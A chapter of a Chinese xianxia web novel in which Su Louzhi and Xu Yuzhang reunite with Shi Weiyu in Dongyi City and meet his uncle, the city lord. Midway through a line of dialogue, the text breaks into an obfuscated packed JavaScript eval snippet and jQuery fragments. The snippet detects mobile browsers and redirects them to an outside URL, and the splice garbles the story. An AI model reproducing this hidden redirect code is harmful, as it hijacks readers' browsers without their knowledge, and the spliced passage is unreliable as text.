43. 第43章

作品:《合欢宗道子说他想渡我

    “苏道友可是在找在下?”


    一道温雅的声音,突然于两人身后的街道上响起。


    两人回头望去,只见街边停着一辆马车,车帘被人从内挑开一半,露出一张清俊面容,正坐在车内似笑非笑地看着他们。


    那人身着一身翠竹暗纹长袍,眉目舒朗,周身气度如松间明月,端的是一副翩翩公子的做派。


    苏楼枝一怔,这人的眉眼间似乎有些熟悉,但又一时对不上号。


    就在他还在冥思苦想之际,身旁许玉璋已经微微颔首道:“与师弟。”


    苏楼枝猛然睁大双眼。与师弟?这人是时惟与?难怪有些眼熟又一下想不起来。


    时惟与一笑,从马车上走下,停在苏楼枝面前展开手让他看了个仔细。


    “你是……阿与?”苏楼枝越看,越将眼前之人的脸,和小时候那个总跟在哥哥身后小孩的脸重合,惊喜道:“竟然真是你!”


    时惟与见他已经认出来了,故意朝许玉璋做出一副皱眉嗔怪的表情:“许师姐,你怎么就直接告诉苏师兄啦?我还想看看阔别这么多年,他还能不能认出我来?”


    他的视线在两人之间流转,挑了挑眉,最后落在苏楼枝身上,双手一拢,端端正正行了个大礼。


    “小人东夷城时惟与,不知来客竟是大名鼎鼎的合欢宗道子当面,有失远迎,有失远迎,还望道子大人不要怪罪。”他声音里带着促狭,说完抬眼看向苏楼枝。


    “你小子,装什么装!”苏楼枝被他这幅做派逗笑了,没好气地上前,笑着在他肩头锤了一拳。


    时惟与挨了一拳,立马捂着肩头可怜巴巴地看着许玉璋告状:“许师姐,你看他打我,你可不能见色忘师弟啊!”


    许玉璋看着两人这跟小时候一般的胡闹做派,淡淡道:“打回去就是。”


    “诶!许师姐这可是你说的,我现在可合体了,要真打出个好歹来,你不心疼?”


    时惟与一副看好戏的模样,竟还真想撸起袖子锤苏楼枝。


    许玉璋本不想管他们的笑闹,但还是不由自主地往苏楼枝身前挡了挡。


    时惟与将一切看在眼里,笑而不语。反而是苏楼枝张大嘴巴,指着他一脸惊讶道:“不是?你这就成合体真君了?”


    时惟与腼腆一笑,点了点头:“两年前刚晋升的真君。”


    苏楼枝闭眼望天,这太上剑宗到底都是怎么教弟子的?他能不能去偷偷师?


    前有许玉璋一个化神初期把自己一个化神后期按地上摩擦,后有谢惟初、时惟与两个五百岁的合体真君……


    他感觉自己又有些道心不稳了。


    许玉璋对此倒是并不意外,只问了一句:“师尊可有赐下道号?”


    “未曾。”时惟与摇了摇头,突然想到了什么,眼神变得很温柔,“我近百年来一直在东夷城,并未回宗门,故而父亲还未赐下道号。许师姐,不知阿初在宗门可还好?”


    “很好。”许玉璋点了点头,又补了一句,“他说等宗门事忙完就要下山。”


    时惟与听见自家哥哥要下山,眼睛瞬间就亮了:“如此便好!多谢许师姐告知!”


    苏楼枝仔细打量了一圈东夷城夜景,啧啧称奇:“阿与你混的不错嘛,能把这么大一座城管理得井井有条,我和玉璋今日一进城可算是开了眼了。”


    时惟与眼里也满是与旧友重逢的喜悦,他转头看向街上热闹的夜市,摇了摇头,语气中带着感慨:“这可不全是我的功劳……”


    “这些……大多都是阿初的想法,我不过是留在这里帮他做到罢了。”他转过头看着许玉璋和苏楼枝,“先前听东夷渡说有太上剑宗的修士来,我正巧看了一眼,没想到竟是故友重逢。”


    “阿初的想法啊……”苏楼枝了然点点头,伸手揽上时惟与的肩头,笑眯眯道:“那你现在是城主了?可以啊!”


    “怎么会?”时惟与连连摆手,失笑道:“想什么呢?城主是我三叔,我以后还是要和阿初去游历的,哪有空一直管着这么大座城。”


    他说着,忽然看向许玉璋,指了指她腰间的指引佩,眼里带着好奇:“对了,许师姐,我们时家做的新法器你觉得如何?怎么觉得你一点都不惊讶,莫非早就见过了?”


    许玉璋低头看了一眼,淡淡道:“阿初在宗门。”


    时惟与一愣,随后恍然大悟:“对哦,我都忘了,阿初在宗门的话,估计也会给宗门换一批新的弟子令牌。”


    许玉璋不置可否。倒是苏楼枝还一头雾水:“什么新弟子令牌?和这个一样吗?”他说着把自己腰间的玉佩掂了掂。


    时惟与点头,微微侧身露出身后的马车,嘴角牵起一丝笑意:“贵客远道而来,我不得尽一尽地主之谊?上车吧,我带你们去城主府。”


    马车辘辘驶过东夷城繁华的主街,越往深处走,两旁各种叫卖声越少。


    车上三人扯着一些经年的闲话,气氛轻松而熟稔,仿佛五百年光阴不过是一场短暂的分别,时间也打发得极快。


    不多时马车在一座恢弘府门前停下,朱门高悬“时府”,门边侍从见二郎君归家,连忙上前迎人。


    时惟与率先下车,他回头一看,正瞧见苏楼枝极其自然地去扶正准备跳下马车的许玉璋。


    他微微一挑眉,勾起一道意味深长的笑,朝苏楼枝提醒道:“苏师兄,许师姐是剑修。”


    “什么意思?剑修怎么了?”苏楼枝有些疑惑,但手还是伸着。


    许玉璋看了一眼他递过来的手,什么也没说,只借着那点力轻轻一跃,便稳稳落在地上。


    时惟与在前方带路,一路上侍从婢女见了他纷纷垂首行礼,口中唤道:“二郎君。”


    他边走边说:“我的意思是,剑修的体魄……不说别的,就许师姐这样的,一人打十个你这样的法修,应当是没什么问题的。”


    苏楼枝跟在他身后,听出这话似乎别有意味,却一时没想明白。


    “所以呢?”


    时惟与回头看了他一眼,笑而不语,只摇了摇头,不再多言,继续在两人身前引路。


    苏楼枝越发困惑,皱着眉看向许玉璋,却见她神色如常,丝毫没有要解释的意思。


    三人穿过几道回廊,又绕过一处假山流水,眼前景象立时开阔舒朗。


    这是一处清幽雅致的室外花厅,顶上是一片繁茂的紫藤萝花架,于桌案上垂下串串淡紫色的花穗,在月光下如梦似幻。


    花厅另一侧是一方小小的池塘,池水清晰见底,几尾灵鲤悠然游弋,偶有跃出水面者,激起一圈水花。


    “如何?”时惟与从纳戒中取出一套茶具,亲自为两人煮茶。


    等为许玉璋、苏楼枝和自己各斟上一杯茶,他才落座花厅。


    许玉璋扫了一眼花厅池景,说道:“甚好。”


    苏楼枝倒是对这里满是赞叹,他指了指周围的紫藤萝和池塘,“真是雅致非常。这里,这里,还有那里,难道也是阿初的手笔?”


    时惟与轻轻吹了吹茶盏,抿了一口,含笑摇头:“非也,这座花厅是我亲手布置的,若你们喜欢,那阿初估计也是会喜欢的。”


    他放下茶盏,向两人问道:“许师姐和苏师兄此番结伴来东夷城,是游历?还是有什么事,可有我能帮得上忙的地方?”


    许玉璋端起茶盏,垂眸看着水面上漂浮的一片翠绿竹叶,说道:“路过。”


    “我们要去止戈城。”苏楼枝接过话,“路过东夷城,顺句去看看玉璋在东夷的弓道师父。”


    “止戈城啊……似乎是离东夷城不远的一座小城,不过那里……”时惟与顿了顿,低头思索片刻,摇了摇头,“具体我不太清楚,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181834|191748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但是我知道有一个人对那里很熟,他一定清楚。”


    “谁?”苏楼枝连忙追问,连许玉璋也抬眼望去,投向询问的目光。


    时惟与缓缓起身,唇边笑意加深:“我三叔。”


    片刻后,苏楼枝和许玉璋跟在时惟与身后往城主府深处走去。


    越往里走,周围的仆从越少,直至渐渐没人,回廊中就连灯火都逐渐稀疏。


    苏楼枝心中有些纳闷,戳了戳许玉璋的手臂,压低声音问道:“玉璋,怎么越走越没人了,不是要去见城主吗?怎么感觉像是去地牢这等隐秘处?”


    许玉璋还未答话,前方带路的时惟与脚步未停,无奈地叹了口气说道:“苏师兄,这里是在我家,实在是不用偷偷摸摸问的。”


    苏楼枝被当场抓包,尴尬地干笑两声:“哈哈哈……忘了忘了。主要是我以前接触的修仙世家规矩都大得很,我这不是怕……”


    “嗯……其实,确实是有些见不得人。”时惟与忽然停下脚步,转过身,脸上带着神秘的笑意:“等会你们见到就知道了。”


    他话音刚落,三人刚拐过一个拐角,就有一道几乎能掀翻屋顶的哭闹声骤然在耳边炸响。


    “时怀瑾!我不管!你今日一定要给我一个说法!啊啊啊!我不管我不管!你不让我去,我就去给二哥告状!”


    这声音中满是蛮横无理,撒泼打滚的意味,就连廊下的灯笼都被震得晃了几下。


    很快另一个声音响起,也隐隐压着怒气:“那你就去!别和我嚎!”


    诡异的是这回答的声音,竟然与刚才那道哭闹的声音音色几乎一模一样。


    要不是语调还有轻微不同,简直都分不出来是两个人。


    时惟与似乎对此习以为常,他脚步丝毫未乱,只在路过一扇紧闭的房门时,忽然神色一紧,向后猛退一大步,同时伸手将许玉璋和苏楼枝也往后带了几步。


    就在他们退后的瞬间,那扇大门从内而外轰然洞开一个大窟窿。


    一道人影如断线的风筝般飞了出来,重重砸在廊外的花丛里,胸前还有一个大鞋印,昏死在那里一动不动,生死不知。


    紧接着就有另一人从那破烂的门洞中迈步走出,正活动着手腕,显然就是刚把人踹飞的那位。


    他走到廊下,忽然瞥见旁边站着的时惟与还有身后目瞪口呆的两人,顿时愣在原地。


    那人脸上闪过一丝慌乱,随即迅速整理好表情,强扯出一抹笑:“是阿与啊……你……你有客人啊?哈哈……”


    他朝花丛中躺着的人翻了个白眼,冷哼一声:“不必管他,你们同我来,这不是说话的地方。”随即他便引着三人走到前院的会客厅。


    等苏楼枝和许玉璋都落座后,时惟与才向主座上正襟危坐的男子,恭恭敬敬行了一礼:“三叔。”


    “嗯。”时怀瑾端坐于主位,面容俊朗,气质沉稳,双手交叠于膝上,一派世家大家长的做派。


    若非方才三人亲眼所见他将旁人一脚踹飞,任谁见了此刻的他,都会以为是位温文尔雅的君子。


    时惟与重新落座,向时怀瑾介绍道:“三叔,这位是合欢宗道子苏楼枝,是我少时的好友。”


    他抬手示意苏楼枝,苏楼枝亦起身向时怀瑾执了个晚辈礼:“在下合欢宗苏楼枝,拜见前辈。”


    时怀瑾微微颔首,算是应礼。


    “至于这位……”时惟与顿了顿,目光转向许玉璋,“这位是许玉璋,是我的同门师姐,亦是……”他抬眸看向时怀瑾,“亦是师从我父亲。”


    此言一出,正准备端起茶盏的时怀瑾手微微一抖,茶盏磕在桌上。


    他不可置信地抬眼,追问道:“……谁?”


    许玉璋神色平静地起身,对着主座上的时怀瑾端正行礼:“晚辈许玉璋,师从秩玉真君,见过前辈。”